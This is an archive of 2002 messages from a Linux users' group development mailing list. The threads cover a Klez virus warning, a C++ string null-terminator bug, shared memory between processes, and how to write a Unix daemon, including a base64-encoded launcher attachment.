>http://www.trilug.org/mailman/listinfo/dev From john@radiomind.com Mon May 6 14:18:24 2002 Received: from marconi.radiomind.com (dsl-64-192-134-85.telocity.com [64.192.134.85]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g46IIN331713 for ; Mon, 6 May 2002 14:18:23 -0400 Received: by marconi.radiomind.com (Postfix, from userid 1000) id 229311B839; Mon, 6 May 2002 14:15:43 -0400 (EDT) Date: Mon, 6 May 2002 14:15:42 -0400 To: dev@trilug.org Subject: Re: [Dev] Virus Alert... seriously Message-ID: <20020506181542.GA26946@radiomind.com> References: <20020506160428.RBT4379.out002.verizon.net@Baqrddn> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-message-flag: Get yourself a real email client. http://www.mutt.org/ Xyzzy: Nothing happens! Reply-By: Mon, 06 May 2002 13:28:06 -0400 From: john@radiomind.com (John Beimler) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: begin quotation from Jeremy P [on 020506 12:43]: > > Hey everyone, > Someone on this list has the "Klez" virus. > and that someones email headers look like this: Return-Path: [...] Received: from fatalpha.trilug.org (localhost.localdomain [127.0.0.1]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g46GAH330287; Mon, 6 May 2002 12:10:17 -0400 Received: from out002.verizon.net (out002pub.verizon.net [206.46.170.141]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g46G8a330256 for ; Mon, 6 May 2002 12:08:36 -0400 Received: from Baqrddn ([213.8.53.81]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with SMTP id <20020506160428.RBT4379.out002.verizon.net@Baqrddn> for ; Mon, 6 May 2002 11:04:28 -0500 [...] so if the name Baqrddn looks familiar to you, or you are relaying through verizon.net, its probably you. (Wish it was RR, they catch who is actually sending the mail, much easier to identify the true sender) Peace. john From chris@yonderway.com Tue May 7 13:48:22 2002 Received: from goldenrod.propagation.net (goldenrod.propagation.net [63.249.161.1]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g47HmL308477 for ; Tue, 7 May 2002 13:48:21 -0400 Received: from crab (rdu26-58-029.nc.rr.com [66.26.58.29]) by goldenrod.propagation.net (8.8.5/8.8.5) with ESMTP id MAA04049 for ; Tue, 7 May 2002 12:45:37 -0500 Subject: Re: [Dev] Virus Alert... seriously From: Chris Hedemark To: dev@trilug.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-peKcq4szoYMMesy2Kk/h" X-Mailer: Ximian Evolution 1.0.3 Date: 07 May 2002 13:45:33 -0400 Message-Id: <1020793541.21074.72.camel@crab.yonderway.priv> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-peKcq4szoYMMesy2Kk/h Content-Type: text/plain Content-Transfer-Encoding: quoted-printable You can neuter your Lookout... errr... Outlook system by deleting %SystemRoot%\system32\wscript.exe You only need that if you legitimately run vbscript. 99% of people don't. If you delete this file, those Lookout virii become a thing of the past. On Mon, 2002-05-06 at 12:41, Jeremy P wrote: >=20 > Hey everyone, > Someone on this list has the "Klez" virus. >=20 > Please, everyone with Windows, update your Anti-Virus packages, or switch > to Linux! :-) >=20 > Here's an article about this virus. There's a free removal tool availabl= e > from Symantec.com also. >=20 > http://www.wired.com/news/technology/0,1282,52174,00.html >=20 > --Jeremy >=20 > On Mon, 6 May 2002, scmorris wrote: >=20 > [virus-filled attachments] >=20 > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev --=20 *********************************************************** | Rev. Chris Hedemark, DD | Hillsborough, NC | http://yonderway.com *********************************************************** --=-peKcq4szoYMMesy2Kk/h Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA82BK9YPuF4Zq9lvYRAon3AJoD6vTvtcgjuavCmIr8gvipZ5cW8gCgwD2p 3sBTeEc5tUCOZv5Sir+KdGU= =YJl6 -----END PGP SIGNATURE----- --=-peKcq4szoYMMesy2Kk/h-- From mmueller@signalnetware.com Tue May 7 14:35:32 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g47IZW308905 for ; Tue, 7 May 2002 14:35:32 -0400 Received: from user-uivf3du.dsl.mindspring.com ([165.247.141.190] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 1759lT-0002Mi-00 for dev@trilug.org; Tue, 07 May 2002 14:32:43 -0400 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Date: Tue, 7 May 2002 14:30:32 -0400 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] null terms for strings Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Here's a little program that captures a problem I had today. I have a map container, map #include using namespace std; main() { string a; a = 'a'; a += ' '; a += 's'; a += 't'; a += 'r'; a += 'i'; a += 'n'; a += 'g'; a += '\0'; string b; b = 'a'; b += ' '; b += 's'; b += 't'; b += 'r'; b += 'i'; b += 'n'; b += 'g'; if (a == b) cout << "a equals b\n"; else cout << "a not equals b\n"; if (strcmp(a.c_str(), b.c_str()) == 0) cout << "a.c_str() equals b.c_str()\n"; else cout << "a.c_str() not equals b.c_str()\n"; } -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From lovelace@wayfarer.org Tue May 7 14:58:19 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.11.6/8.11.6) with SMTP id g47IwI309038 for ; Tue, 7 May 2002 14:58:18 -0400 Received: (qmail 15326 invoked by uid 401); 7 May 2002 18:55:41 -0000 Received: from localhost (HELO linux-lovelace.internal.opennms.org) (lovelace@127.0.0.1) by localhost with SMTP; 7 May 2002 18:55:41 -0000 Subject: Re: [Dev] null terms for strings From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3-1mdk Date: 07 May 2002 14:55:32 -0400 Message-Id: <1020797734.18264.26.camel@linux-lovelace.internal.opennms.org> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tue, 2002-05-07 at 14:30, M. Mueller wrote: > Here's a little program that captures a problem I had today. I have a map > container, map machine. I pack each entry into datagram and send it via sockets to another > machine where each packet is collected and used to build a copy of the map > entry by entry. So, I convert the string key to an array of chars for the > journey to the other side. In the process I got confused about the function > of null terminators on char array strings versus string objects. > Well, for one thing, a C++ string may or may not be null terminated. Officially, it's not specified as to how they are stored internally. So, when in doubt, assume it's not. > To compile: g++ -o test test.cpp > > > #include > using namespace std; > > main() > { > string a; > a = 'a'; > a += ' '; > a += 's'; > a += 't'; > a += 'r'; > a += 'i'; > a += 'n'; > a += 'g'; > a += '\0'; > string b; > b = 'a'; > b += ' '; > b += 's'; > b += 't'; > b += 'r'; > b += 'i'; > b += 'n'; > b += 'g'; > > if (a == b) > cout << "a equals b\n"; > else > cout << "a not equals b\n"; > > if (strcmp(a.c_str(), b.c_str()) == 0) > cout << "a.c_str() equals b.c_str()\n"; > else > cout << "a.c_str() not equals b.c_str()\n"; > > } > Well, I haven't run it, but just looking at it, I'd say the strings are not the same. String a has a null character at the end and string b doesn't. In addition, I'd be interested in seeing what the .c_str() function returned. I'd bet it doesn't do any checking for stuff like this and the c-style strings that get returned *are* the same (because they *must* have a null at the end) even though the C++ strings are not. I would just suggest sending over the output of the .c_str() function of each string and then using the string constructor to recreate them on the other side. Tanner -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Have we sent the "Don't shoot, we're pathetic" transmission yet? Commander John Crichton (Farscape) From ed@eh3.com Tue May 7 15:41:49 2002 Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g47Jfn309325 for ; Tue, 7 May 2002 15:41:49 -0400 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g47Jd3w13647; Tue, 7 May 2002 13:39:03 -0600 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] null terms for strings From: Ed Hill To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 07 May 2002 13:39:02 -0600 Message-Id: <1020800342.1133.1370.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tue, 2002-05-07 at 12:30, M. Mueller wrote: > Here's a little program that captures a problem I had today. I have a map > container, map machine. I pack each entry into datagram and send it via sockets to another > machine where each packet is collected and used to build a copy of the map > entry by entry. So, I convert the string key to an array of chars for the > journey to the other side. In the process I got confused about the function > of null terminators on char array strings versus string objects. Hi Mike, I tested your snippet and got: [edhill@eddy ~]$ ./a.out a not equals b a.c_str() equals b.c_str() [edhill@eddy ~]$ which I'm sure is your complaint. Heres a fix: How about writing the re-assembly part of your code so that, by default, it automatically strips any trailing nulls? Its easy and then you don't have to worry about whether you sent the string with null termination or not. Of course, its a lousy idea if your strings ever need to contain imbedded nulls, but that may not be a problem... hth, Ed -- Edward H. Hill III, PhD | Email: ed@eh3.com, ehill@mines.edu Post-Doctoral Researcher | URLs: http://www.eh3.com Division of ESE | http://wasser.mines.edu/people/edhill.php Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 From mmueller@signalnetware.com Tue May 7 15:57:07 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g47Jv7309517 for ; Tue, 7 May 2002 15:57:07 -0400 Received: from user-11faem5.dsl.mindspring.com ([66.245.58.197] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 175B2X-0007ou-00 for dev@trilug.org; Tue, 07 May 2002 15:54:25 -0400 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Date: Tue, 7 May 2002 15:52:32 -0400 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] test-pls ignore Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From mmueller@signalnetware.com Tue May 7 17:12:41 2002 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g47LCf310154 for ; Tue, 7 May 2002 17:12:41 -0400 Received: from user-11faem5.dsl.mindspring.com ([66.245.58.197] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 175CDY-0002mu-00 for dev@trilug.org; Tue, 07 May 2002 17:09:53 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Michael Mueller / Signalnetware Organization: Signalnetware, Inc. To: dev@trilug.org Date: Tue, 7 May 2002 17:07:59 -0400 X-Mailer: KMail [version 1.3.1] References: <1020801471.21074.163.camel@crab.yonderway.priv> In-Reply-To: <1020801471.21074.163.camel@crab.yonderway.priv> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] dev mystery solved Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I killed everyone of my filters (waaaaaa)...then I remembered what the problem is (grrrrr). Yahoo kill pop access to mail. I ditched them. I am subscribed to dev as bhu5nji@yahoo.com. I'm going in now to make changes. My app transforms a 10 digit telephone number as follows: comes in via TCP as a sequence of ASCII char; gets transformed and saved into a PACKED array of nibbles (unsigned int bcd_digit:4 PACKED;) containing BCD values (digit - '0'), the BCD array gets transformed into a string so the telephone number becomes a key into a map. The map is duplicated on two mated machines, so the string key is decomposed into ASCII chars and put into a intermachine comm structure payload section (plain old byte array). On the other side, this char string is reassmbled into the map key string. At the end of this juggling act I should be able to use the same telephone number to get the same map entry on both machines. That is not the case. One map's key is len==11 "2128902345"+'\0' and the other is len==10 "2128902345". The problem was solved by removing the line that adds '\0' to the string. I was getting caught up in the internal representation of the string as though it were an array of chars needing a null terminator. The twist came from the results as Ed pointed out: a not equals b (this is the comparison the map container is using) a.c_str() equals b.c_str() If you try to printf or cout the strings, there are no visual clues -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From mmueller@signalnetware.com Tue May 7 17:24:49 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g47LOn310272 for ; Tue, 7 May 2002 17:24:49 -0400 Received: from user-11faem5.dsl.mindspring.com ([66.245.58.197] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 175CPP-0005B2-00 for dev@trilug.org; Tue, 07 May 2002 17:22:07 -0400 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Date: Tue, 7 May 2002 17:20:12 -0400 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] test; ignore; all better now Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From lovelace@wayfarer.org Wed May 15 15:51:48 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.11.6/8.11.6) with SMTP id g4FJpm327640 for ; Wed, 15 May 2002 15:51:48 -0400 Received: (qmail 6776 invoked by uid 401); 15 May 2002 19:49:05 -0000 Received: from localhost (HELO linux-lovelace.internal.opennms.org) (lovelace@127.0.0.1) by localhost with SMTP; 15 May 2002 19:49:05 -0000 From: Tanner Lovelace To: trilug@trilug.org Cc: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3-1mdk Date: 15 May 2002 15:49:01 -0400 Message-Id: <1021492142.23636.68.camel@linux-lovelace.internal.opennms.org> Mime-Version: 1.0 Subject: [Dev] Re: [TriLUG] anybody use pointers and shared memory? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2002-05-15 at 15:30, John F Davis wrote: > Hello > > I know how to use shared memory between processes via shmget and shmat, but > I'm not an expert on their use. (I've used it for simple flat structures.) > Anybody have any experience using them with something similar to malloc'd > pointers? For instance, if I want to dynamically allocate data that is > shared, do I have to use shmget/shmat in lieu of malloc? > > Yes, I realize each process has their own heap so malloced pointers shared > between process's are meaningless, but is their some simple technique for > dynamic shared memory? > > I realize I'm not very clear on this. Its easier to describe the problem > more concisely with code, but I don't have any code written at this point > because I am just thinking out loud. > JD Hi John, Could you explain a little more about what you're doing? If you're trying to share memory between two processes that were created from the same original process using fork, you should probably look at the mm library (http://www.engelschall.com/sw/mm/). If you're trying to share between two completely separate processes, however, then mm won't help you. It sounds like what you need is basically SGI Arenas, which, as far as I know, aren't available under linux. (Actually, the SGI performer team did a port of it to linux but last I heard it wasn't :-( open source.) I was looking for something like this a while back for completely disparate processes and didn't have any luck finding anything. If you do come up with something, I'd be interested in hearing about it. BTW, I've cc'd the dev list for this. This sounds like it is more properly a question for that list. (Although, if anyone on the main list wants to answer it, please don't let me discourage you.) Tanner -- Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint = A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Have we sent the "Don't shoot, we're pathetic" transmission yet? Commander John Crichton (Farscape) From wingedlizard@nc.rr.com Wed May 15 16:41:52 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4FKfq328293; Wed, 15 May 2002 16:41:52 -0400 Received: from nc.rr.com ([24.25.20.107]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.757.75); Wed, 15 May 2002 16:39:07 -0400 Message-ID: <3CE2C8C5.6010206@nc.rr.com> Date: Wed, 15 May 2002 16:44:53 -0400 From: H Brett Bolen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc1) Gecko/20020417 X-Accept-Language: en-us, en MIME-Version: 1.0 To: trilug@trilug.org, dev@trilug.org References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [Dev] Re: [TriLUG] anybody use pointers and shared memory? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: wingedlizard@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: John F Davis wrote: > Hello > > I know how to use shared memory between processes via shmget and shmat, but > I'm not an expert on their use. (I've used it for simple flat structures.) > Anybody have any experience using them with something similar to malloc'd > pointers? For instance, if I want to dynamically allocate data that is > shared, do I have to use shmget/shmat in lieu of malloc? > Hey John, There is a very simple wrapper class, SharedArray, here: http://www.pressenter.com/~3nelsons/joecode/ it's implemented in the header file, and is easy to use. as long as the destructors are called, everything is cleaned up. use is as simple as typedef struct { ... } MyStruct; MyStruct *MyStructArray = new SharedArray< MyStruct> ( "Name", 100); MyStructArray[1] = ... delete MyStructArray; may not be exact, but close. b\375 ps: I'm forwarding this to dev@trilug.org From petelong@petelong.com Thu May 23 18:36:48 2002 Received: from albert.petelong.com (rdu25-11-200.nc.rr.com [24.25.11.200]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4NMalJ09728 for ; Thu, 23 May 2002 18:36:48 -0400 Received: from petelong.com (localhost [127.0.0.1]) by albert.petelong.com (Postfix) with SMTP id 28FB116719 for ; Thu, 23 May 2002 18:40:09 -0400 (EDT) Received: from 129.33.49.251 (SquirrelMail authenticated user petelong) by albert.petelong.com with HTTP; Thu, 23 May 2002 18:40:09 -0400 (EDT) Message-ID: <37828.129.33.49.251.1022193609.squirrel@albert.petelong.com> Date: Thu, 23 May 2002 18:40:09 -0400 (EDT) From: "=?iso-8859-1?Q?Peter_Long?=" To: dev@trilug.org X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] =?iso-8859-1?Q?HOWTO_write_a_daemon?= Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hi all, I have a console application that I want to turn into a daemon. Does anyone know where I can find documentation on how to do that. Thanks in advance. -- Peter Long From mmueller@ss7box.com Thu May 23 19:19:40 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4NNJeJ10147 for ; Thu, 23 May 2002 19:19:40 -0400 Received: from user-uivf3ag.dsl.mindspring.com ([165.247.141.80] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 17B1pC-00019D-00 for dev@trilug.org; Thu, 23 May 2002 19:16:50 -0400 From: "M. Mueller" To: dev@trilug.org Subject: Re: [Dev] HOWTO write a daemon Date: Thu, 23 May 2002 19:13:23 -0400 X-Mailer: KMail [version 1.3.1] References: <37828.129.33.49.251.1022193609.squirrel@albert.petelong.com> In-Reply-To: <37828.129.33.49.251.1022193609.squirrel@albert.petelong.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_B67LJILHVVNP29FHWORQ" Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --------------Boundary-00=_B67LJILHVVNP29FHWORQ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Thursday 23 May 2002 06:40 pm, Peter Long reputedly wrote: > Hi all, > > I have a console application that I want to turn into a daemon. Does anyone > know where I can find documentation on how to do that. > > Thanks in advance. Here's my daemon launcher. It is more than a basic daemon launcher because I have N daemons that all talk to each other. Furthermore, I don't want any daemons to start doing business until all the other daemons are ready. -- Mike Mueller www.ss7box.com --------------Boundary-00=_B67LJILHVVNP29FHWORQ Content-Type: text/x-c++; charset="iso-8859-1"; name="dlaunch_main.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="dlaunch_main.c" I2luY2x1ZGUJPHN5cy9zdGF0Lmg+CiNpbmNsdWRlCTxzeXMvbXNnLmg+CiNpbmNsdWRlCTxmY250 bC5oPgojaW5jbHVkZQk8c3lzbG9nLmg+CiNpbmNsdWRlCTxzdGRpby5oPgojaW5jbHVkZQk8dW5p c3RkLmg+CiNpbmNsdWRlCTxlcnJuby5oPgojaW5jbHVkZQkiaXBjX21xLmgiCgojZGVmaW5lCQlN QVhfREFFTU9OUwk1CiNkZWZpbmUJCURBRU1PTl9QQVRICSJ1c3IvbG9jYWwvc3M3dC9iaW4vIgoK Y2hhcgkJKmVudl9pbml0W10gPSB7IlVTRVI9bXRwM2QiLCAiUEFUSD0vdG1wIiwgTlVMTH07CmNo YXIJCSpkYWVtb25fbmFtZXNbXVtNQVhfREFFTU9OU10gPSB7CgkJCSJtdHAzX2QiLAoJCQkidGFs aV9kIiwKLy8JCQkic2N0cF9kIiwKCQkJIm9hbV9kIiwKCQkJIm1yX2QiLAoJCQkicHNfZCIKCQl9 OwoKaW50CQkJc29ja2ZkOwpzdHJ1Y3Qgc29ja2FkZHJfaW4JbXlhZGRyLCBwZWVyYWRkcjsKdF9p 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cmV0dXJuICgtMSk7CgkJCX0KCQl9CgoJaWYgKGRhZW1vbl9jb21tX3JlYWR5ICgpID09IC0xKQoJ CXsKCQl9CglyZXR1cm4gKDApOwp9Cg== --------------Boundary-00=_B67LJILHVVNP29FHWORQ-- From mmueller@ss7box.com Thu May 23 19:21:35 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4NNLZJ10188 for ; Thu, 23 May 2002 19:21:35 -0400 Received: from user-uivf3ag.dsl.mindspring.com ([165.247.141.80] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 17B1r3-00051E-00 for dev@trilug.org; Thu, 23 May 2002 19:18:45 -0400 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller" To: dev@trilug.org Subject: Re: [Dev] HOWTO write a daemon Date: Thu, 23 May 2002 19:15:18 -0400 X-Mailer: KMail [version 1.3.1] References: <37828.129.33.49.251.1022193609.squirrel@albert.petelong.com> In-Reply-To: <37828.129.33.49.251.1022193609.squirrel@albert.petelong.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thursday 23 May 2002 06:40 pm, Peter Long reputedly wrote: > Hi all, > > I have a console application that I want to turn into a daemon. Does anyone > know where I can find documentation on how to do that. > > Thanks in advance. BTW, check out Richard Stevens texts. http://www.kohala.com/start/#books -- Mike Mueller www.ss7box.com From petelong@petelong.com Thu May 23 19:36:36 2002 Received: from albert.petelong.com (rdu25-11-200.nc.rr.com [24.25.11.200]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g4NNaaJ10333 for ; Thu, 23 May 2002 19:36:36 -0400 Received: from petelong.com (localhost [127.0.0.1]) by albert.petelong.com (Postfix) with SMTP id 616BB1D91D for ; Thu, 23 May 2002 19:39:58 -0400 (EDT) Received: from 192.168.0.2 (SquirrelMail authenticated user petelong) by albert.petelong.com with HTTP; Thu, 23 May 2002 19:39:58 -0400 (EDT) Message-ID: <3582.192.168.0.2.1022197198.squirrel@albert.petelong.com> Date: Thu, 23 May 2002 19:39:58 -0400 (EDT) From: "=?iso-8859-1?Q?Peter_Long?=" To: dev@trilug.org In-Reply-To: References: X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] =?iso-8859-1?Q?Re:_[Dev]_HOWTO_write_a_daemon?= Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > On Thursday 23 May 2002 06:40 pm, Peter Long reputedly wrote: >> Hi all, >> >> I have a console application that I want to turn into a daemon. Does >> anyone know where I can find documentation on how to do that. >> >> Thanks in advance. > > BTW, check out Richard Stevens texts. > http://www.kohala.com/start/#books > > -- > Mike Mueller > www.ss7box.com Thanks! That link and your daemon launcher should get me on the right track. -- Peter Long mailto:petelong@petelong.com From dac@cafaro.net Thu May 23 21:09:01 2002 Received: from c007.snv.cp.net (h014.c007.snv.cp.net [209.228.33.242]) by fatalpha.trilug.org (8.11.6/8.11.6) with SMTP id g4O190J11286 for ; Thu, 23 May 2002 21:09:00 -0400 Received: (cpmta 26614 invoked from network); 23 May 2002 18:06:05 -0700 Received: from 68.55.232.209 (HELO ?192.168.0.102?) by smtp.cafaro.net (209.228.33.242) with SMTP; 23 May 2002 18:06:05 -0700 X-Sent: 24 May 2002 01:06:05 GMT Subject: Re: [Dev] HOWTO write a daemon From: "David A. Cafaro" To: dev@trilug.org In-Reply-To: References: <37828.129.33.49.251.1022193609.squirrel@albert.petelong.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 23 May 2002 21:06:26 -0400 Message-Id: <1022202387.2055.6.camel@kara.georgetown.edu> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.11 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Just curious but what is wrong with just writing a program that doesn't put out any text to the console and starting it with a script with a command like this: mydaemon& 